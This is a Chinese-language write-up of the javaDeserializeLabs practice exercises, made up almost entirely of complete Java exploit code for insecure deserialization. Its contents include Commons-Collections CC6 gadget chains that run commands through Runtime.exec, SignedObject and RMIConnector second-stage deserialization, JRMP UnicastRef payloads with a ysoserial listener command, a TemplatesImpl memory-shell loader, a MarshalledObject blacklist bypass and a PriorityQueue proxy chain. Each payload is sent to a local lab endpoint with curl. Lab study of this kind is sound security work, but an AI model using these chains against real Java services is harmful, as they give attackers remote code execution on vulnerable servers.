项目地址:javaDeserializeLabs
Lab1 反编译后很简单
Calc
package com.yxxx.javasec.deserialize;import java.io.Serializable;public class Calc implements Serializable { private boolean canPopCalc = true ; private String cmd = "calc" ; }
poc
import com.yxxx.javasec.deserialize.Calc;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;public class poc { public static void main (String[] args) throws Exception { Calc calc = new Calc(); String payload = objectToHexString(calc); System.out.println(payload); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = null ; out = new ObjectOutputStream(bos); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } }
Lab2 存在CC依赖,加了两个条件判断readUTF和readInt
在将对象转为字节流时加上UTF以及Int
exp
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa" ); Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb" ); lazymap.remove("aaa" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); String payload = objectToHexString(hashmap); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = null ; out = new ObjectOutputStream(bos); out.writeUTF("SJTU" ); out.writeInt(1896 ); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } }
Lab3 存在cc依赖,但是利用自己编写了个MyObjectInputStream代替ObjectInputStream
看一下是怎么处理的,resolveClass通过 URLClassLoader.loadClass 进行加载类,这里就有问题了,这种类加载方式不支持加载数组。
利用 CC依赖中的InvokerTransformer实现任意方法调用 ,构造方法如下,由于数组无法被加载,所以调用的方法必须为无参,该方法达到的目的 要么是RCE,要么 是可以二次反序列化 。
private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; } public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
SignedObject 参考:二次反序列化 看我一命通关 - 跳跳糖 (tttang.com) ,利用链如下
HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->SignedObject.getObject
exp,打cc6
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class exp { public static HashMap CC6 () throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa" ); Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb" ); lazymap.remove("aaa" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); return (HashMap) hashmap; } }
poc
import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(exp.CC6(), kp.getPrivate(), Signature.getInstance("DSA" )); InvokerTransformer invokerTransformer = new InvokerTransformer("getObject" , null , null ); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "Poria" ); lazyMap.remove(signedObject); setFieldValue(lazyMap,"factory" , invokerTransformer); String payload = objectToHexString(expMap); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = null ; out = new ObjectOutputStream(bos); out.writeUTF("SJTU" ); out.writeInt(1896 ); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
RMIConnector 参考:二次反序列化 看我一命通关 - 跳跳糖 (tttang.com) ,利用链如下
HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->RMIConnector.connect
exp,打cc6
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class exp { public static String CC6 () throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa" ); Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb" ); lazymap.remove("aaa" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); return serialize(hashmap); } public static String serialize (Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); String base64 = new String(Base64.getEncoder().encode(baos.toByteArray())); System.out.println(base64); return base64; } }
poc,利用 RMIConnector
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://" ); setFieldValue(jmxServiceURL, "urlPath" , "/stub/" +exp.CC6()); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null ); InvokerTransformer invokerTransformer = new InvokerTransformer("connect" , null , null ); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "Poria" ); lazyMap.remove(rmiConnector); setFieldValue(lazyMap,"factory" , invokerTransformer); String payload = objectToHexString(expMap); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = null ; out = new ObjectOutputStream(bos); out.writeUTF("SJTU" ); out.writeInt(1896 ); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
JRMP 除了二次反序列化,还有利用JRMP协议,具体就是RMI反序列化那篇文章的内容,这里记录一下打法
ysoserial 开启一个 JRMPListener
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"
poc
import sun.rmi.server.UnicastRef;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Proxy;import java.rmi.registry.Registry;import java.rmi.server.RemoteObjectInvocationHandler;public class poc { public static void main (String[] args) throws Exception { String jrmpListenerHost = "127.0.0.1" ; int jrmpListenerPort = 9999 ; UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[]{Registry.class}, obj); ByteArrayOutputStream ser = new ByteArrayOutputStream(); ObjectOutputStream oser = new ObjectOutputStream(ser); oser.writeUTF("SJTU" ); oser.writeInt(1896 ); oser.writeObject(proxy); oser.close(); String payload = bytesTohexString(ser.toByteArray()); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static UnicastRef generateUnicastRef (String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false ); return new sun.rmi.server.UnicastRef(liveRef); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } }
本地没能命令执行。
Lab4 不出网,其他同Lab3,记录一下内存马.
exp
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class exp { public static HashMap shell () throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQA7QoAOQC..." ); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes" , new byte [][]{code}); setFieldValue(templates, "_name" , "aaa" ); setFieldValue(templates,"_tfactory" , new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer" , null , null ); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "Poria" ); lazyMap.remove(templates); setFieldValue(lazyMap,"factory" , invokerTransformer); return expMap; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
poc
import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.security.KeyPair;import java.security.KeyPairGenerator;import java.security.Signature;import java.security.SignedObject;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(exp.shell(), kp.getPrivate(), Signature.getInstance("DSA" )); InvokerTransformer invokerTransformer = new InvokerTransformer("getObject" , null , null ); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "Poria" ); lazyMap.remove(signedObject); setFieldValue(lazyMap,"factory" , invokerTransformer); String payload = objectToHexString(expMap); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = null ; out = new ObjectOutputStream(bos); out.writeUTF("SJTU" ); out.writeInt(1896 ); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
Lab5
在 MyObjectInputStream 中重写了 resolveClass 和 resolveProxyClass 方法,将org.apache.commons.collections.functors 和java.rmi.server 加入了黑名单,来防御反序列化。
不过还给了一个 MarshalledObject类,该类提供了一个 readResolve 方法进行反序列化操作。
图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。当反序列化的类存在 readResolve 方法时,就会进行调用。
所以直接修改bytes即可
poc
import com.yxxx.javasec.deserialize.MarshalledObject;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class poc { public static void main (String[] args) throws Exception { MarshalledObject marshalledObject = new MarshalledObject(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(getObject()); oos.close(); setFieldValue(marshalledObject,"bytes" ,baos.toByteArray()); String payload = objectToHexString(marshalledObject); System.out.println(payload); Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data=" +payload); } public static HashMap getObject () throws IllegalAccessException, NoSuchFieldException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa" ); Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb" ); lazymap.remove("aaa" ); Class c = LazyMap.class; Field factory = c.getDeclaredField("factory" ); factory.setAccessible(true ); factory.set(lazymap,chainedTransformer); return (HashMap) hashmap; } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) { return null ; } else { StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; ++i) { int b = 15 & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 15 & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } } public static String objectToHexString (Object obj) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(bos); out.writeUTF("SJTU" ); out.writeInt(1896 ); out.writeObject(obj); out.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = bytesTohexString(bytes); return hex; } public static void setFieldValue (Object obj,String fieldname,Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true ); field.set(obj,value); } }
Lab6-8 JRMP打二次反序列化,麻烦就过了,记录两个poc
直接反序列化UnicastRef
,进而调用sum.rmi.server.UnicastRef#readExternal
poc
import sun.rmi.server.UnicastRef;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Proxy;import java.rmi.activation.Activator;import java.rmi.registry.Registry;import java.rmi.server.RemoteObjectInvocationHandler;public class lab6exp { public static UnicastRef generateUnicastRef (String host, int port) { java.rmi.server.ObjID objId = new java.rmi.server.ObjID(); sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port); sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false ); return new sun.rmi.server.UnicastRef(liveRef); } public static void main (String[] args) throws Exception { String jrmpListenerHost = "ip" ; int jrmpListenerPort = 7777 ; UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort); ByteArrayOutputStream ser = new ByteArrayOutputStream(); ObjectOutputStream oser = new ObjectOutputStream(ser); oser.writeUTF("SJTU" ); oser.writeInt(1896 ); oser.writeObject(ref); oser.close(); System.out.println(bytesTohexString(ser.toByteArray())); } public static String bytesTohexString (byte [] bytes) { if (bytes == null ) return null ; StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; i++) { int b = 0xF & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 0xF & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } }
Lab9-proxy
这里只要调用invoke
,然后设置type
为TemplatesImpl
就可以触发了。然后根据jdk7知道,当反序列化遇到代理时,且代理实例化为接口,会调用handler
的invoke
方法。然后还不能在无参函数时触发。可以想到compare
方法,这个在PriorityQueue
类触发。所以在PriorityQueue
里面塞个代理,就可以触发invoke
了.
poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassist.CtClass;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.util.Comparator;import java.util.PriorityQueue;import com.yxxx.javasec.deserialize.MyInvocationHandler;public class poc { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.get(Code.class.getName()); byte [] bytes = ctClass.toBytecode(); TemplatesImpl ti = new TemplatesImpl(); setField(ti, "_name" , "asd" ); setField(ti, "_bytecodes" , new byte [][]{bytes}); setField(ti, "_tfactory" , new TransformerFactoryImpl()); PriorityQueue priorityQueue = new PriorityQueue(1 ); priorityQueue.add(2 ); priorityQueue.add(3 ); setField(priorityQueue, "queue" , new Object[]{ti, 1 }); InvocationHandler mih = new MyInvocationHandler(); setField(mih, "type" , Templates.class); Comparator comparator = (Comparator) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[]{Comparator.class}, mih); setField(priorityQueue, "comparator" , comparator); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(priorityQueue); ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); } public static void setField (Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } }
Code
import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Code extends AbstractTranslet { public Code () throws IOException { Runtime.getRuntime().exec("calc" ); } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
参考 JavaDerserializeLabs